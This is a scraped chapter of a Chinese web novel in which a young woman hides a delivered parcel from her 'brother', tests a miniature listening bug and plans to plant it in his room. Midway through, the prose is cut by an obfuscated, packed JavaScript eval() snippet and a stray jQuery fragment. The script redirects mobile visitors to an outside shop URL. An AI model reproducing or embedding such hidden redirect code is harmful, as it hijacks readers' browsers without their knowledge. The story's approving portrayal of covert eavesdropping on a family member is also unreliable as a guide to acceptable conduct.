文趣网 > 其他小说 > 今天祂是谁 > 77. 第77章
    短暂的出门去医院检查后,常可名的生活又回到了原本的模样。

    她与莫浓之间的关系如同酒桶中不断发酵的酒精,随着那个夜晚她主动敲开莫浓房间的门而开始缓慢发酵,又在接下来几天里浓度迅速攀升,令她仿佛真的像是喝醉那般,无法自控地沉浸在恍惚的甜蜜中。

    但是现在,临近上限的发酵渐渐停止了。

    常可名也不得不重新面对现实。

    尽管她与莫浓变得如此亲密,但是以理性的角度看待,这也可能只是莫浓对于家人的过度呵护。

    那些让她浮想联翩的举动,说不定只是她的幻想而已。

    她的心像茫茫海洋上的一叶扁舟,因莫浓的行为不断随波逐流,而她的双手空空如也,只能无措地望着海面,等待波浪将自己送往未知的地方。

    于是,在经历几夜辗转反侧的挣扎后,常可名终于决定把在医院获得的那个灵感付诸实行。

    这天早上,还在饭桌旁吃早餐时,门外传来了门铃声。

    听见声音,莫浓先是困惑地看了一眼常可名,然后才放下勺子,站起身:

    “我去看看是什么。”

    他们家是独栋的建筑,不太会有邻居来敲门。两人还在吃早餐,显然也不可能是外卖之类的东西。

    见状,常可名连忙喊住了即将走出餐厅的莫浓:

    “哥哥!”

    莫浓回过头。

    “我去吧,应该是我买的东西送到了。”

    常可名一边解释着,一边小步蹿到了莫浓身前,挡住他走向门的路,在他继续有动作之前走出了餐厅。

    离开之后,她还回头看了一眼,见到莫浓没有跟着走出来,这才暗自松了一口气。

    要是莫浓执意要帮她收快递的话,她还不知道该以什么样子的神情来掩盖自己的情绪呢。

    走到门口,常可名打开了门。

    门外站着的果然是快递员。

    “你好,快递。”

    快递员言简意赅地把快递盒递给常可名,看上去他还赶着去下一家送快递。

    “好,谢谢。”

    常可名接过了快递,重新把门关上。

    转身面向家里后,望向餐厅的方向,她的心忽然就像做贼那般忐忑起来,原本单手抓住快递盒的左手,不知不觉地就变成了环抱的姿势。

    她该把快递先放哪里呢?

    早餐还没吃完,要是按照她平时的习惯,那肯定是先把快递随意放在一楼的某处,然后回餐厅吃早餐,等吃完早餐后,再把快递拿回楼上的房间。

    但是,如果是这个快递的话,即便是处于包装完好、无法看见纸盒内部的状态,她也不敢把它直接随手放在莫浓触目可及的范围之内。

    要是引起哥哥的注意就麻烦了……

    常可名这么心想着,把快递往身侧又藏了藏。

    挣扎了一会儿,她还是决定先拿着快递回房间。

    尽管与她习惯相悖的行为可能会有些奇怪,但还是这样会让她安心一下。

    路过餐厅门口时,常可名加快了步伐,刻意摆出放松的姿态,装作若无其事地走过。直到餐厅彻底消失在视野里,她才快步上楼,回到房间。

    安然无恙地放下快递后,常可名的心跳稍微平复了一些。

    她小心翼翼地把快递盒放在桌子内侧的角落里,离开房间前关好房门,这才下楼回到餐厅中。

    然而,没等她走回餐厅继续吃早餐,刚拐过二楼的楼梯口,正要往下走时,楼梯尽头处显露出一个人影。

    是莫浓站在那里。

    不知什么时候,他已经站在了那里。

    他仰着头,隔着半层楼的距离望着常可名。

    但是显然,此刻正在下楼的常可名不能停下脚步,所以她只能迎着莫浓若有思索的打量目光,硬着头皮走下楼去。

    “怎么了,是快递吗?”

    等常可名走到莫浓身边,他问了一句。

    “是,我买的东西。”

    与莫浓并肩往餐厅的方向走去,常可名压下心中的紧张,竭力让自己的语气听上去与平时没有什么区别,神色如常地回答道。

    说完这句,为了让自己回房间的行为看上去更加合理,在莫浓再次提问前,她又多说了一句:

    “刚才我把快递先拿上楼了。”

    “这样吗?”

    莫浓意味不明地说了一句。

    常可名悬着的心又动了一下。

    她忽然又后悔自己不该说后一句话了,过多的解释总会让人有种欲盖弥彰的感觉。

    然而莫浓没有再说什么。两人走回了餐厅桌旁,常可名在自己吃了一半的早餐面前坐下。

    她刚刚拿快递再上下楼了一趟,面前的早餐已经有些温了。等她坐下后,莫浓把她的牛奶拿起来,走进厨房里。

    厨房里传来了调节微波炉的提示音。

    趁着莫浓进厨房,常可名加快了吃早餐的速度。她想要赶紧逃离眼下的场景,回房间处理快递,便囫囵吞枣地往嘴里塞满了早餐。

    直到厨房那边传来热完东西“叮”的一声,她又瞬间放慢了速度,在莫浓走出厨房前,她表现得跟之前吃早餐的速度别无二致。

    莫浓端着玻璃杯走了回来。

    这次他在桌旁坐下了,不过坐下之后,他没有把牛奶递给常可名,而是把玻璃杯放在了自己面前。

    低着头吃早餐的常可名悄然把目光挪到那个玻璃杯上。

    莫浓没有松开手,他的手指搭在玻璃杯的外侧,白净修长的指节微微曲起,映着杯内温热的牛奶,有一种说不出的干净秀气。可是看那手背上隐约隆起的青色血管,还有关节处清晰的筋络,便知道这只手并不如它看起来那样清秀。

    手的主人没有即刻开口说话,餐厅里只有常可名慢慢吃早餐的声音,这样的安静让她更加紧张了。

    哥哥是想问什么吗?

    想到这里,她又开始在大脑内编造各种理由,以便应对莫浓的每一种可能的提问。

    然而,这安静持续得很短暂,没等常可名多思考一会儿,那个玻璃杯就被放到了自己面前,连带着莫浓的手也伸了过来。

    “可名。”

    莫浓喊了一声。

    正在编理由的常可名被吓了一下,大脑瞬间宕机了,本能地应道:

    “哥哥。”

    “下次有快递的话,可以让我帮忙拿上去的。”

    他把牛奶往常可名的方向微微推了一下,乳白色的液面漾开轻微的波澜:

    “现在天气冷,要是走开的话,早餐很快就会凉了。”

    莫浓没有追问快递买的东西是什么,只是单纯地提醒常可名早餐容易凉。

    先前预想的情景一个都没有怎么出现,常可名不由得放松了下来,眼神不再躲闪,终于抬起了头,看向莫浓的双眼格外柔顺,轻声应答:

    “好的,哥哥。”

    “我不会擅自帮你拆快递的。”

    莫浓继续说:

    “即便你买了什么难以为情的东西,也不用担心。”

    这一次,他停顿了一会儿。

    由于常可名此时已经抬起了头,再想低下头只会显得刻意,所以她不得不任由莫浓那带着思索的端详落在自己身上,接受他那仿佛洞察一切的敏锐目光。

    最后,他以格外宽容的语气,承诺般地总结道:

    “我不会看的。”

    放在常可名面前的玻璃杯里,牛奶摇晃的液面重新归于平静。

    莫浓的话说完了。

    常可名预想中的问题一个也没有出现,这使得她完全放松了下来,不再担心该如何用谎言掩盖自己买的东西是什么。

    可另一方面,对于莫浓如此礼貌地划出两人隐私的边界,她又莫名有点儿失落。

    在这样矛盾的心情中,常可名最终吃完了早餐。

    早餐过后,或许是那一丝失落在搅乱她的心情,莫浓陪着她例行晒太阳时,她都没有原本那么焦急地想要返回房间了。

    “我回房间了。

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17948052|204728||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    ”

    晒完太阳从院子回到屋内,站在三楼的楼梯口,常可名向莫浓说。

    莫浓手里还挂着晒太阳时常可名盖的驼色毛毯,他在原地站了片刻,忽然向她微微笑了一下。

    他像是善意提醒那样,轻声说道:

    “现在你可以回去拆快递了哦。”

    这话题略有些跳跃,等常可名反应过来后,她的脸倏地泛起薄红。

    见到莫浓面上越发浓郁的笑意后,她意识到自己的神情漏出了破绽,有点儿羞怯地轻轻垂下头,努力克服着失控的声带,羞怯且简短地应了一声:

    “嗯、嗯……”

    原来……原来哥哥还记着那个快递的事。

    常可名忍不住甜蜜地想着。

    刚才她还以为,莫浓真的仅仅只是例行关心她一下——他既没有看出她与平时相比的略微不自然,也对快递里的东西丝毫不在意。

    但是现在看来,哥哥果然还是在意的——

    他早就已经看穿了自己想要藏起快递的念头

    “那我也回房间了。”

    莫浓微笑着后退了一步,转身先离开了。

    以往他总是会把常可名送回房间门口,或者是目送她回房休息,可这一次他却提前离开,一副为她让出调整空间的模样,显露出一种与平时不同的体贴。

    缠绕在心间的失落顷刻间烟消云散,常可名轻轻吸了一口气,平复自己的呼吸,在见到莫浓的身影消失在他的房间门口,走廊另一侧传来关门的声音后,她也一溜烟儿地小碎步躲回了房间里。

    关门锁好之后,常可名桌前坐下。

    尽管房间里面没有人,她的动作仍旧小心而谨慎。她从桌上拿了一把裁纸刀,随后弯下腰,把放在桌角的快递盒拉到自己脚边,沿着快递外盒的胶带裁剪,把盒子完好无损地打开了。

    盒子里面只有一个简单的黑色塑料袋,卷成一小团,把东西严实地包裹在里面。

    常可名把塑料袋放在桌面上,打开台灯,在灯光下轻手轻脚地把塑料袋展开。

    一张纸质卡片最先掉了出来,常可名把卡片先放到一边,从塑料袋底下拿起一块比硬币稍厚的塑料片。

    那东西通体哑光黑,外壳是硬塑料的质感,边缘有一道极细的接缝,做工算不上精致,甚至有点粗糙。侧面有一个极小的拨动开关,连指甲盖的三分之一都不到。

    她用指尖试拨了一下,手感很涩,像卡着什么东西。

    用力把开关拨到另一侧时,她感到一个极轻微的震动,像手机静音时的抖动。

    大概是开机了。

    没有指示灯,没有屏幕,没有任何能看出它在工作的痕迹,安静得让人完全无法觉察到它的存在。

    常可名把那东西放在桌面上,然后拿起那张纸质的小卡片。

    看着卡片上的那串数字,她深吸一口气,打开手机,把上面的号码按进手机,按下通话键。

    听筒里响了两声,然后安静了。

    没有“喂”,没有彩铃,只有一片空旷的、略带底噪的寂静。

    常可名弯下腰,对着桌面上的那个小东西轻轻吹了一口气,耳机里几乎同步传来一声被压缩过的、发闷的气流声,延迟短得几乎察觉不到。她又用指尖敲了两下床头柜,耳机里跟着响起两声清脆的叩击,像有人贴在她耳边敲桌子。她又走到房间另一头,压低声音说了句“测试”,耳机里几乎同时传来她自己略微失真的声音。

    那粒黑色的小东西始终安安静静躺在柜面上,像一个没有表情的耳朵,正把她房间里每一次呼吸、每一次心跳、每一次指尖碰触桌面的震动,一字不落地送进她自己的耳朵里。

    反复测试几次,确认那东西可以正常工作之后,常可名挂断了通话。

    她握着手机,掌心渐渐沁出一层潮意。

    与其说是紧张,她心里更多的是一种难以言说的兴奋。

    她要找机会把这个窃听器放进莫浓的房间里。

    这样子,她就可以更加了解哥哥了。